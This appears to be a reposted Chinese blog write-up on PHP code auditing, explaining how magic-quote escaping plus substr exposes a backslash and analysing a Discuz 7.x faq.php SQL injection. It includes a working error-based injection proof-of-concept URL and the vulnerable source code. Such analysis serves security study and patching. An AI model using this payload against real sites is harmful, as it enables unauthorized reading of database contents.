最新消息:

php代码审计魔术引号带来的注入问题浅析之Discuz_7.x faq.php SQL注入漏洞

PHP代码审计 admin 1079浏览 0评论

首先根据存在的目的可以理解处理机制:
当打开时所有的’单引号、”双引号、\反斜线、NULL字符都被自动加上一个反斜线进行转义;

1)得到原字符的场景举例(‘,\,”,null)

$test_str = substr($_GET['test_str'],1);
echo var_dump($test_str);
 /**
 gpc打开时
提交'
gpc后\'
 substr后string(1) "'" 

gpc关闭时
 提交'
 substr后bool(false)
**/

2)得到”\”字符的场景

$test_str = substr($_GET['test_str'],0,1);//从第零位开始取一位
echo var_dump($test_str);
/**
gpc打开时
提交'
gpc后\'
substr后string(1) "\" 

gpc关闭时
提交'
 substr后bool(false)
        **/

3)Discuz_7.x faq.php SQL注入漏洞分析

POC如下:

http://www.xxx.com/faq.php?action=grouppermission&gids[99]='&gids[100][0]=) and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)%23

b06c1404334952
那么我把discuz7.2下载好,看到faq.php,找到action=grouppermission的代码(148行开始):

} elseif($action == 'grouppermission') {

...
...
	ksort($gids);
	$groupids = array();
	foreach($gids as $row) {
		$groupids[] = $row[0];
	}

	$query = $db->query("SELECT * FROM {$tablepre}usergroups u LEFT JOIN {$tablepre}admingroups a ON u.groupid=a.admingid WHERE u.groupid IN (".implodeids($groupids).")");

看到,图中报错的注入语句就是上面这句话。所以特别看看这句话前面的代码,也就是我列出来的。

    首先定义一个数组groupids,然后遍历$gids(这也是个数组,就是$_GET[gids]),将数组中的所有值的第一位取出来放在groupids中。

    为什么这个操作就造成了注入?

    discuz在全局会对GET数组进行addslashes转义,也就是说会将’转义成\’,所以,如果我们的传入的参数是:gids[1]=’的话,会 被转义成$gids[1]=\’,而这个赋值语句$groupids[] = $row[0]就相当于取了字符串的第一个字符,也就是\,把转义符号取出来了。

    再看后面,在将数据放入sql语句前,他用implodeids处理了一遍。我们看到implodeids函数:

function implodeids($array) {
	if(!empty($array)) {
		return "'".implode("','", is_array($array) ? $array : array($array))."'";
	} else {
		return '';
	}
}

很简单一个函数,就是将刚才的$groupids数组用’,’分割开,组成一个类似于’1′,’2′,’3′,’4’的字符串返回。

 

    但是我们的数组刚取出来一个转义符,它会将这里一个正常的’转义掉,比如这样:

    ‘1’,’\’,’3′,’4′

    有没有看出有点不同,第4个单引号被转义了,也就是说第5个单引号和第3个单引号闭合。这样3这个位置就等于逃逸出了单引号,也就是产生的注入。我们把报错语句放在3这个位置,就能报错:

    f3cc1404336063

转自:

1、http://www.leavesongs.com/discuz72-sql-injection.html

2、http://psacms.com/thread-2636-1-1.html

转载请注明:jinglingshu的博客 » php代码审计魔术引号带来的注入问题浅析之Discuz_7.x faq.php SQL注入漏洞


Warning: Use of undefined constant PRC - assumed 'PRC' (this will throw an Error in a future version of PHP) in /usr/share/nginx/html/wp-content/themes/d8/comments.php on line 17
发表我的评论
取消评论

表情

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址